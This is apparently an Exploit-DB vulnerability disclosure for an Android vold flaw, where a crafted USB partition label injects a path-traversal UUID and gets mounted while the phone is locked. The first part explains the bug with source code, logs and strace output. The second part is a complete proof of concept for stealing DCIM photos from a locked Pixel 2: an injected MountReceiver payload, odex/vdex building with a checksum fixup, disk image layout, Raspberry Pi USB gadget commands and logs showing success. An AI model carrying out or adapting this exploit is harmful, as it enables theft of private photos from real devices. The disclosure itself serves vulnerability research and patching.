When a USB mass storage device is inserted into an Android phone (even if the
phone is locked!), vold will attempt to automatically mount partitions from the
inserted device. For this purpose, vold has to identify the partitions on the
connected device and collect some information about them, which is done in
readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid",
then attempts to parse the results:


    std::vector<std::string> cmd;
    cmd.push_back(kBlkidPath);
    cmd.push_back("-c");
    cmd.push_back("/dev/null");
    cmd.push_back("-s");
    cmd.push_back("TYPE");
    cmd.push_back("-s");
    cmd.push_back("UUID");
    cmd.push_back("-s");
    cmd.push_back("LABEL");
    cmd.push_back(path);

    std::vector<std::string> output;
    status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext);
    if (res != OK) {
        LOG(WARNING) << "blkid failed to identify " << path;
        return res;
    }

    char value[128];
    for (const auto& line : output) {
        // Extract values from blkid output, if defined
        const char* cline = line.c_str();
        const char* start = strstr(cline, "TYPE=");
        if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
            fsType = value;
        }

        start = strstr(cline, "UUID=");
        if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
            fsUuid = value;
        }

        start = strstr(cline, "LABEL=");
        if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) {
            fsLabel = value;
        }
    }


Normally, the UUID string can't contain any special characters because blkid
generates it by reformatting a binary ID as a printable UUID string. However,
the version of blkid that Android is using will print the LABEL first, without
escaping the characters this code scans for, allowing an attacker to place
special characters in the fsUuid variable.


For example, if you format a USB stick with a single partition, then place a
romfs filesystem in the partition as follows (on the terminal of a Linux PC):

    # echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1

and then connect the USB stick to a Nexus 5X and run blkid as root on the
device, you'll see the injection:

    bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1
    /dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"


logcat shows that the injection was successful and the device is indeed using
the injected values, but vold doesn't end up doing much with the fake UUID
because fsck_msdos fails:

05-29 20:41:26.262   391   398 V vold    : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
05-29 20:41:26.262   391   398 V vold    :
05-29 20:41:26.263   391   398 V vold    : /system/bin/fsck_msdos
05-29 20:41:26.263   391   398 V vold    :     -p
05-29 20:41:26.263   391   398 V vold    :     -f
05-29 20:41:26.263   391   398 V vold    :     /dev/block/vold/public:8,1
05-29 20:41:26.264   813  2039 D VoldConnector: RCV <- {652 public:8,1 vfat}
05-29 20:41:26.264   813  2039 D VoldConnector: RCV <- {653 public:8,1 ../../data}
05-29 20:41:26.265   813  2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=}
05-29 20:41:26.281   391   398 I fsck_msdos: ** /dev/block/vold/public:8,1
05-29 20:41:26.285   391   398 I fsck_msdos: Invalid sector size: 8995
05-29 20:41:26.286   391   398 I fsck_msdos: fsck_msdos terminated by exit(8)
05-29 20:41:26.286   391   398 E Vold    : Filesystem check failed (no filesystem)
05-29 20:41:26.286   391   398 E vold    : public:8,1 failed filesystem check
05-29 20:41:26.286   813  2039 D VoldConnector: RCV <- {651 public:8,1 6}
05-29 20:41:26.287   813  2039 D VoldConnector: RCV <- {400 48 Command failed}
05-29 20:41:26.288  2532  2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}:
05-29 20:41:26.288  2532  2532 D StorageNotification:     type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0
05-29 20:41:26.288  2532  2532 D StorageNotification:     state=UNMOUNTABLE
05-29 20:41:26.288  2532  2532 D StorageNotification:     fsType=vfat fsUuid=../../data fsLabel=TYPE=
05-29 20:41:26.288  2532  2532 D StorageNotification:     path=null internalPath=null


For a relatively harmless example in which vold actually ends up mounting the
device in the wrong place, you can create a vfat partition with label
'UUID="../##':

    # mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1
    mkfs.fat 4.1 (2017-01-24)
    # dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M
    200+0 records in
    200+0 records out
    209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s
    198+279 records in
    198+279 records out
    209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s

Connect it to the Android device again while running strace against vold:

    [pid   398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory)
    [pid   398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
    [pid   398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
    [pid   398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0
    [pid   398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0
    [pid   398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory)
    [pid   398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0

Check the results:

    bullhead:/ # ls -l /mnt
    total 32
    drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ##
    drwx--x--x 2 root     root        40 1970-01-01 04:14 appfuse
    drwxr-xr-x 2 root     system      40 1970-01-01 04:14 asec
    drwxrwx--x 2 system   system      40 1970-01-01 04:14 expand
    drwxr-x--- 2 root     media_rw    40 1970-01-01 04:14 media_rw
    drwxr-xr-x 2 root     system      40 1970-01-01 04:14 obb
    drwx------ 5 root     root       100 1970-01-01 04:14 runtime
    lrwxrwxrwx 1 root     root        21 1970-01-01 04:14 sdcard -> /storage/self/primary
    drwx------ 3 root     root        60 1970-01-01 04:14 secure
    drwxr-xr-x 3 root     root        60 1970-01-01 04:14 user
    bullhead:/ # mount | grep '##'
    /dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro)


When testing with a normal USB stick, the attacker has to choose between using a
vfat filesystem (so that Android is capable of mounting it as external storage)
and using a romfs filesystem (so that the label is long enough to specify
arbitrary paths). However, an attacker who wants to perform more harmful attacks
could use a malicious USB storage device that is capable of delivering different
data for multiple reads from the same location. This way, it would be possible
to deliver a romfs superblock when blkfs is reading, but deliver a vfat
superblock when the kernel is reading. I haven't tested this yet because I don't
yet have the necessary hardware.


When you fix this issue, please don't just fix the injection and/or the
directory traversal. I believe that from a security perspective, a smartphone
should not mount storage devices that are inserted while the screen is locked
(or, more generally, communication with new USB devices should be limited while
the screen is locked). Mounting a USB storage device exposes a lot of code to
the connected device, including partition table parsing, vold logic, blkid, the
kernel's FAT filesystem implementation, and anything on the device that might
decide to read files from the connected storage device.


############################################################

This is a PoC for stealing photos from the DCIM folder of a Pixel 2 running
build OPM2.171026.006.C1 while the device is locked. You will need a Pixel 2 as
victim device, a corresponding AOSP build tree, a Raspberry Pi Zero W (or some
other device you can use for device mode USB), a powered USB hub, and some
cables.

The victim phone must be powered on, the disk encryption keys must be unlocked
(meaning that you must have entered your PIN/passphrase at least once since
boot), and the attack probably won't work if someone has recently (since the
last reboot) inserted a USB stick into the phone.


Configure the Raspberry Pi Zero W such that it is usable for gadget mode
(see e.g. https://gist.github.com/gbaman/50b6cca61dd1c3f88f41).

Apply the following patch to frameworks/base in your AOSP build tree:

=========================================
diff --git a/packages/ExternalStorageProvider./src/com/android/externalstorage/MountReceiver.java b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
index 8a6c7d68525..73be5818da1 100644
--- a/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
+++ b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
@@ -20,10 +20,38 @@ import android.content.BroadcastReceiver;
 import android.content.ContentProviderClient;
 import android.content.Context;
 import android.content.Intent;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;

 public class MountReceiver extends BroadcastReceiver {
     @Override
     public void onReceive(Context context, Intent intent) {
+        System.logE("MOUNTRECEIVER CODE INJECTED, GRABBING FILES...");
+        try {
+            File exfiltration_dir = new File("/data/exfiltrated-photos");
+            exfiltration_dir.mkdir();
+            File camera_dir = new File("/storage/emulated/0/DCIM/Camera");
+            File[] camera_files = camera_dir.listFiles();
+            for (File camera_file: camera_files) {
+                System.logE("GRABBING '"+camera_file.getName()+"'");
+                File exfiltrated_file = new File(exfiltration_dir, camera_file.getName());
+                exfiltrated_file.delete();
+                FileInputStream ins = new FileInputStream(camera_file);
+                FileOutputStream outs = new FileOutputStream(exfiltrated_file);
+                byte[] buf = new byte[4096];
+                int len;
+                while ((len=ins.read(buf)) > 0) {
+                    outs.write(buf, 0, len);
+                }
+                ins.close();
+                outs.close();
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        System.logE("INJECTED CODE DONE");
+
         final ContentProviderClient client = context.getContentResolver()
                 .acquireContentProviderClient(ExternalStorageProvider.AUTHORITY);
         try {
=========================================

Then build the tree ("lunch aosp_walleye-userdebug", then build with "make").

Zip the classes.dex build artifact of ExternalStorageProvider:

$ zip -jX zipped_dexfile ~/aosp-walleye/out/target/common/obj/APPS/ExternalStorageProvider_intermediates/classes.dex
  adding: classes.dex (deflated 49%)
$ mv zipped_dexfile.zip zipped_dexfile

Download the factory image for OPM2.171026.006.C1 and unpack its system partition, e.g. using commands roughly as follows:

$ unzip image-walleye-opm2.171026.006.c1.zip
$ ~/aosp-walleye/out/host/linux-x86/bin/simg2img system.img system.img.raw # convert sparse image to normal
$ echo 'rdump / walleye-opm2.171026.006.c1/unpacked_system/' | debugfs -f- walleye-opm2.171026.006.c1/unpacked_image/system.img.raw 2>/dev/null # extract filesystem image

Now build the classes.dex build artifact into an odex file and a vdex file, linking against boot.art from the factory image:

$ ~/aosp-walleye/out/host/linux-x86/bin/dex2oat --runtime-arg -Xms64m --runtime-arg -Xmx512m --class-loader-context='&' --boot-image=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/framework/boot.art --dex-file=zipped_dexfile --dex-location=/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk --oat-file=package.odex --android-root=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system --instruction-set=arm64 --instruction-set-variant=cortex-a73 --instruction-set-features=default --runtime-arg -Xnorelocate --compile-pic --no-generate-debug-info --generate-build-id --abort-on-hard-verifier-error --force-determinism --no-inline-from=core-oj.jar --compiler-filter=quicken

The resulting vdex file would not be accepted by the phone because of a CRC32
checksum mismatch; to fix it up, compile the attached vdex_crc32_fixup.c and use
it to overwrite the CRC32 checksum with the expected one from the factory image:

$ ./vdex_crc32_fixup package.vdex ~/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk
original crc32: d0473780
new crc32: 84c10ae9
vdex patched

Prepare two disk images, each with a MBR partition table and a single partition.
Their partition tables should be identical.
In the first image's partition, place a fake romfs filesystem that triggers the
vold bug:

# echo -e '-rom1fs-########TYPE="vfat" UUID="../../data"\0' > /dev/sdd1

Format the second image's partition with FAT32, and create the following
directory structure inside that filesystem (the "system@" entries are files, the
rest are directories):

├── dalvik-cache
│   └── arm64
│       ├── system@framework@boot.art
│       ├── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex
│       └── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
├── LOST.DIR
├── misc
│   └── profiles
│       └── cur
│           └── 0
│               └── com.android.externalstorage
├── user
│   └── 0
│       └── com.android.externalstorage
│           └── cache
└── user_de
    └── 0
        └── com.android.externalstorage
            └── code_cache

The three system@ files should have the following contents:

 - system@framework@boot.art should be a copy of system/framework/arm64/boot.art
   from the system image.
 - system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex
   should be the generated package.odex.
 - system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
   should be the fixed-up package.vdex.

Copy the two disk images to the Raspberry Pi Zero W; the fake romfs image should
be named "disk_image_blkid", the image with FAT32 should be named
"disk_image_mount". On the Pi, build the fuse_intercept helper:

$ gcc -Wall fuse_intercept.c `pkg-config fuse --cflags --libs` -o fuse_intercept

Then create a directory "mount" and launch fuse_intercept.

In a second terminal, tell the Pi's kernel to present the contents of the mount
point as a mass storage device:

pi@raspberrypi:~ $ sudo modprobe dwc2
pi@raspberrypi:~ $ sudo modprobe g_mass_storage file=/home/pi/mount/wrapped_image stall=0


To run the attack, connect the Pi to the powered USB hub as a device. Then use
a USB-C OTG adapter (unless you have some fancy USB-C hub, I guess?) to connect
the powered hub to the locked phone, with the phone in USB host mode.

At this point, the phone should first mount the USB stick over
/data, then immediately afterwards launch
com.android.externalstorage/.MountReceiver:

06-05 21:58:20.988   656   665 I Vold    : Filesystem check completed OK
06-05 21:58:20.988  1115  1235 D VoldConnector: RCV <- {656 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:20.990  1115  1235 D VoldConnector: RCV <- {655 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:21.004  1115  1235 D VoldConnector: RCV <- {651 public:8,97 2}
06-05 21:58:21.004  1115  1115 W android.fg: type=1400 audit(0.0:33): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.006  1115  1235 D VoldConnector: RCV <- {200 7 Command succeeded}
06-05 21:58:21.004  1115  1115 W android.fg: type=1400 audit(0.0:34): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.008  1335  1335 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,97}:
06-05 21:58:21.008  1335  1335 D StorageNotification:     type=PUBLIC diskId=disk:8,96 partGuid=null mountFlags=0 mountUserId=0
06-05 21:58:21.008  1335  1335 D StorageNotification:     state=MOUNTED
06-05 21:58:21.008  1335  1335 D StorageNotification:     fsType=vfat fsUuid=../../data fsLabel=TYPE=
06-05 21:58:21.008  1335  1335 D StorageNotification:     path=/mnt/media_rw/../../data internalPath=/mnt/media_rw/../../data
06-05 21:58:21.020  1115  1129 I ActivityManager: Start proc 4478:com.android.externalstorage/u0a35 for broadcast com.android.externalstorage/.MountReceiver

Most processes can't access the vfat filesystem that is now mounted at /data
either because they lack the necessary groups or because of some SELinux rule.
But com.android.externalstorage passes both checks and can read and write (but
not execute) files from the new /data. Bytecode is loaded from
/data/dalvik-cache/arm64/system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
and then interpreted, allowing the attacker to steal photos from the device
(since com.android.externalstorage has access to /storage/emulated/0):

06-05 21:58:21.248  4478  4478 I zygote64: The ClassLoaderContext is a special shared library.
06-05 21:58:21.276  4478  4478 W zygote64: JIT profile information will not be recorded: profile file does not exits.
06-05 21:58:21.278  4478  4478 W asset   : failed to open idmap file /data/resource-cache/vendor@overlay@Pixel@PixelThemeOverlay.apk@idmap
06-05 21:58:21.326  4478  4478 D ExternalStorage: After updating volumes, found 3 active roots
06-05 21:58:21.334  4478  4478 E System  : MOUNTRECEIVER CODE INJECTED, GRABBING FILES...
06-05 21:58:21.343  4478  4478 E System  : GRABBING 'IMG_20180605_212044.jpg'
06-05 21:58:21.419  4478  4478 E System  : GRABBING 'IMG_20180605_215031.jpg'
06-05 21:58:21.428  2218  2218 W SQLiteLog: (28) file renamed while open: /data/user/0/com.google.android.gms/databases/config.db
06-05 21:58:21.465  4478  4478 E System  : INJECTED CODE DONE


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45192.zip